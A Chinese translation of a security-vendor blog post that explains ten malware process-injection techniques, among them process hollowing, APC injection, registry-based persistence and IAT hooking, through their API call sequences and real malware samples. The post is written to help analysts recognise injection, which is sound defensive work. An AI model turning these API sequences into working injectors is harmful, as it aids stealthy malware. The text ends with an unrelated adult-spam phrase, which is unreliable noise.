在分析PE注入時,在調用CreateRemoteThread之前,看到循環(通常是兩個“for”循環,一個嵌套在另一個循環中)是很常見的情況。這種技術在crypter(加密和模糊惡意軟件的軟件)中非常受歡迎。在圖4中,樣本使用的便是這種技術。該代碼有兩個嵌套循環來調整其重定位表,可以在調用WriteProcessMemory和CreateRemoteThread之前看到它。 “and

0x0fff”指令也是另一個很好的標志,顯示前12位用于獲取到包含重定位塊的虛擬地址的偏移量。現在,惡意軟件已經重新計算了所有必需的地址,所有它需要做的是將其起始地址傳遞給CreateRemoteThread并將其執行。

圖 4 在調用CreateRemoteThread之前,PE注入的循環結構示例

3. 進程HOLLOWING (又名進程替換和RUNPE)

惡意軟件可以執行被稱為進程hollowing的技術,而不是將代碼注入宿主程序(例如,DLL注入)。進程hollowing 發生于惡意軟件從目標進程的內存中清空(鏤空)合法代碼并用惡意可執行文件覆蓋目標進程的內存空間(如,svchost.exe)之時。

圖 5

惡意軟件首先創建一個新進程,以掛起模式托管惡意代碼。如圖6所示,該程序通過調用CreateProcess并將流程創建標志設置為CREATE_SUSPENDED(0x00000004)完成。新進程的主線程被創建為掛起狀態,直到ResumeThread函數被調用才會運行。接下來,惡意軟件需要用惡意的有效載荷來替換合法文件的內容。這可以通過調用ZwUnmapViewOfSection或NtUnmapViewOfSection來取消映射目標進程的內存。這兩個API基本上釋放了一個部分指向的所有內存。現在內存被取消映射,加載器執行VirtualAllocEx為惡意軟件分配新內存,并使用WriteProcessMemory將每個惡意軟件的部分寫入目標進程空間。惡意軟件調用SetThreadContext將entrypoint指向已編寫的新代碼段。最后,惡意軟件通過調用ResumeThread來恢復掛起的線程。

圖 6 Ransom.Cryak實現進程hollowing

4. 線程執行劫持 (又名:掛起,注入,恢復 (SIR))

這種技術與先前討論的進程hollowing技術有一些相似之處。在線程執行劫持中,惡意軟件針對進程的現有線程,并避免任何嘈雜的進程或線程的創建操作。因此,在分析期間,您可能會看到對CreateToolhelp32Snapshot和Thread32First的調用,后跟OpenThread。

圖 7

在獲取目標線程的句柄后,惡意軟件通過調用SuspendThread來將線程置于掛起模式,最終執行注入。惡意軟件調用VirtualAllocEx和WriteProcessMemory來分配內存并執行代碼注入的操作。

該代碼可以包含shellcode,惡意DLL的路徑和LoadLibrary的地址。

圖8給出了使用這種技術的通用木馬程序。

為了劫持線程的執行,惡意軟件通過調用SetThreadContext修改目標線程的EIP寄存器(包含下一條指令的地址)。之后惡意軟件恢復線程來執行它已寫入主機進程的shellcode。

從攻擊者的角度來看,SIR方法可能是有問題的,因為在系統調用中暫停和恢復線程可能導致系統崩潰。為避免這種情況,更加復雜的惡意軟件如果遇到EIP寄存器在NTDLL.dll的范圍內的情況,將會恢復然后重試。

圖 8 一般的木馬正在執行線程執行劫持

5. 通過SETWINDOWSHOOKEX進行HOOK注入

Hooking是一種用于攔截函數調用的技術。惡意軟件可以利用掛鉤函數,在特定線程觸發事件時加載其惡意DLL。這項技術通常通過調SetWindowsHookEx函數來將鉤子例程安裝到鉤子鏈中來完成。

SetWindowsHookEx函數有四個參數。第一個參數是事件的類型。這些事件反映了鉤子類型的范圍,并且從鍵盤上的鍵(WH_KEYBOARD)到輸入到鼠標(WH_MOUSE),CBT等的不同。第二個參數是指向惡意軟件想要在事件中調用的函數的指針執行。第三個參數是包含該函數的模塊。因此,在調用SetWindowsHookEx之前,看到對LoadLibrary和GetProcAddress的調用是非常常見的。該函數的最后一個參數是掛鉤過程與之關聯的線程。如果此值設置為零,則所有線程在觸發事件時執行操作。然而,惡意軟件通常針對一個線程來減少干擾,因此也可以在SetWindowsHookEx之前查看調用CreateToolhelp32Snapshot和Thread32Next來查找和定位單個線程。一旦DLL被注入,惡意軟件代表其線程id被傳遞給SetWindowsHookEx函數的進程執行其惡意代碼。在圖9中,Locky
Ransomware實現了這種技術。

圖 9 Locky Ransomware 的hook注入過程

6. 通過修改注冊表進行注入以及維持注入 (例如APPINIT_DLLS, APPCERTDLLS, IFEO)

惡意軟件可以使用Appinit_DLL, AppCertDlls, 以及 IFEO (映像劫持)這三個注冊表項可以用于注入和維持注入,這三個注冊表項具體的位置如下:


AppInit_DLLs

惡意軟件可以將其惡意dll文件的位置插入到Appinit_Dlls注冊表項下,以使其他進程加載這個dll文件。

此注冊表項下的每個dll文件都會隨著User32.dll的加載而同樣加載到進程中。
User32.dll是用于存儲圖形元素(如對話框)的非常常用的庫。 因此,當惡意軟件修改這個注冊表子項時,大多數進程都將加載惡意dll文件。

圖10顯示了木乃伊依賴這種技術進行注入和維持注入的方法。
它只需打開Appinit_Dlls注冊表項,方法是調用RegCreateKeyEx,并通過調用RegSetValueEx來修改它的值。

圖 10 Ginwui修改AppIniti_DLLs注冊表項

AppCertDlls

這種方法與AppInit_DLLs方法非常相似,只是將此注冊表項下的DLL加載到調用CreateProcess,CreateProcessAsUser,CreateProcessWithLogonW,CreateProcessWithTokenW和WinExec的每個進程中。

映像劫持 (IFEO)

IFEO通常用于調試目的。開發人員可以在此注冊表項下設置“調試器值”,將程序附加到另一個可執行文件進行調試。
因此,每當啟動可執行文件時,將附加到該程序。 要使用此功能,您可以簡單地給出調試器的路徑,并將其附加到要分析的可執行文件。
惡意軟件可以修改此注冊表項以將其注入到目標可執行文件中。 在圖11中,Diztakun木馬通過修改任務管理器的調試器值來實現此技術。

圖11 : Diztakun木馬修改IFEO注冊表項

7. APC 注入以及 AtomBombing內存注入

惡意軟件可以利用異步過程調用(APC)控制另一個線程通過將其附加到目標線程的APC隊列來執行其自定義代碼。

每個線程都有一個APC隊列,它們在目標線程進入可警醒狀態時等待執行。如果調用SleepEx,SignalObjectAndWait,MsgWaitForMultipleObjectsEx,WaitForMultipleObjectsEx或WaitForSingleObjectEx函數,線程將進入可警醒狀態。

惡意軟件通常會查找處于可警醒狀態的任何線程,然后調用OpenThread和QueueUserAPC將APC排隊到線程。QueueUserAPC有三個參數:1)目標線程的句柄;
2)指向惡意軟件想要運行的函數指針; 3)和傳遞給函數指針的參數。
在圖12中,Amanahe惡意軟件首先調用OpenThread來獲取另一個線程的句柄,然后使用LoadLibraryA調用QueueUserAPC作為函數指針,將其惡意DLL注入另一個線程的APC隊列中。

AtomBombing是一種首先由enSilo研究引入的技術,然后用于Dridex V4。 正如我們在前一篇文章中詳細討論的[譯者注:鏈接見文末],該技術也是依賴APC注射。 但是,它是使用atom表寫入另一個進程的內存。

圖12: Almanahe執行APC注入

8. 通過SETWINDOWLONG 進行窗口內存注入 (EWMI)

EWMI依靠注入資源管理器托盤窗口的額外窗口內存,并在惡意軟件家族中被多次使用使用,如Gapz和PowerLoader。在注冊窗口類時,應用程序可以指定一些額外的內存字節,稱為額外的窗口存儲器(EWM)。

然而,EWM并不算是塊很充裕的空間。

為了規避這個限制,惡意軟件將代碼寫入explorer.exe的共享部分,并使用SetWindowLong和SendNotifyMessage來指定一個指向shellcode的函數指針,然后執行它。

圖13 PowerLoader注入托盤窗口的額外窗口內存

當涉及到向共享部分的寫入數據時,惡意軟件有兩個選擇:它可以也創建一個共享空間,并將其映射到自身和另一個進程(例如,explorer.exe);第二個選擇就是簡單地打開已經存在的共享部分。

前者具有分配堆空間和調用NTMapViewOfSection以及其他一些API調用的開銷,因此后一種方法被更頻繁地使用。

惡意軟件在共享部分中寫入其shellcode后,使用GetWindowLong和SetWindowLong訪問并修改“Shell_TrayWnd”的額外窗口內存。

GetWindowLong是用于將指定偏移量的32位值檢索到窗口類對象的額外窗口存儲器中的API,SetWindowLong用于更改指定偏移量的值。
通過這樣做,惡意軟件可以簡單地更改窗口類中的函數指針的偏移量,并將其指向寫入共享部分的shellcode。

像上面提到的大多數其他技術一樣,惡意軟件需要觸發它編寫的代碼。

在以前討論的技術中,惡意軟件通過調用API(如CreateRemoteThread,QueueUserAPC或SetThreadContext)來實現這一點。

在EWMI方法中,惡意軟件通過調用SendNotifyMessage觸發注入的代碼。
在執行SendNotifyMessage之后,Shell_TrayWnd接收并將控件傳遞給由SetWindowLong先前設置的值指向的地址。

在圖13中,名為PowerLoader的惡意軟件使用這種技術。

9. SHIMS注入

Microsoft向開發人員提供了Shims[譯者注:Shim是一個工程術語,描述為了讓兩個物體更好地組裝在一起而插入的一塊木頭或金屬。在計算機編程中,shim是一個小型的函數庫,用于透明地攔截API調用,修改傳遞的參數、自身處理操作、或把操作重定向到其他地方。Shim也可以用來在不同的軟件平臺上運行程序。],主要是為了向后兼容。

Shims允許開發人員將修補程序應用于程序,而無需重寫代碼。 通過利用Shims,開發人員可以告訴操作系統如何處理其應用程序。

Shims本質上是一種嵌入API并針對特定可執行文件的方式。 惡意軟件可以利用Shims來實現注入可執行文件并維持注入。

Windows運行Shim引擎時,它加載二進制文件以檢查shimming數據庫,以便應用適當的修補程序。

有許多可以使用的修復程序,但是惡意軟件還是更偏愛那些安全相關的(例如DisableNX,DisableSEH,InjectDLL等)。要安裝shimming數據庫,惡意軟件可以使用各種方法。

例如,一個常見的方法是簡單執行sdbinst.exe,并將其指向惡意的sdb文件。 在圖14中,廣告軟件“Search Protect by Conduit”使用Shims進行注入和維持。 它在Google
Chrome中執行“InjectDLL”shim以加載vc32loader.dll。

現在有一些用于分析sdb文件的工具,但是對于下面列出的sdb的分析,我使用了python-sdb,而沒有使用現成的工具。

圖14 Search Protect用于注入的SDB

10. IAT HOOKING和INLINE HOOKING (又名應用層ROOTKITS)

IAT hooking 以及 inline hooking通常被稱為用戶級rootkit. 惡意軟件可以利用IAT HOOKING技術更改導入地址表。

當合法應用程序調用位于DLL中的API時,將執行替換的函數,而不是原始代碼。 相比之下,使用Inline Hooking,惡意軟件可以修改API函數本身。 在圖15中,惡意軟件FinFisher通過修改CreateWindowEx指向的位置執行IAT HOOKING。

圖 15 FinFisher 通過更改CreateWindowEx指向的位置實現IAT HOOKING

總結

在這篇文章中,我介紹了惡意軟件在另一個進程中隱藏其活動的十種不同技術。
通常,惡意軟件直接將其shellcode注入到另一個進程中,或者強制另一個進程加載其惡意DLL。
在表1中,我對各種技術進行了分類,并提供了樣品,作為觀察本文所涵蓋的每種注射技術的參考。
整篇文章中的數字將有助于研究人員在反轉惡意軟件時識別各種技術。

表格1: 流程注入可以通過直接將代碼注入到另一個進程中,或通過強制將DLL加載到另一個進程來完成

攻擊者和研究人員經常發現新的技術來實現注入并提供隱藏自身的目的。這篇文章詳細介紹了十種常見和新興的技術,但還有其他的沒有提及,如COMM劫持。 防御者在其使命中將永遠不會“完成”檢測和防止隱形進程注入的任務,因為入侵者永遠不會停止創新。

在EndGame[譯者注:原文發表的網站名稱為EndGame],我們不斷研究先進的隱藏技術,并將這些技術帶入我們的產品中,給產品提供保護。我們的層級功能可以檢測加載某些維持注入(如AppInit DLL,COM Hijack等)的惡意DLL,通過我們的shellcode注入防護軟件,可以實時防止許多形式的代碼注入,并且可以檢測在內存中運行的惡意注入的有效負載。我們正在申請專利的無文件攻擊檢測技術可以讓我們的平臺比市場上任何其他產品更有效地防止代碼注入,同時還通過新興的代碼注入技術最大限度地提高繞過的彈性。

本文由看雪翻譯小組 skeep 編譯,來源Ashkan Hosseini@endgame’s blog

【via@看雪社區

]]>
日本丰满熟妇有毛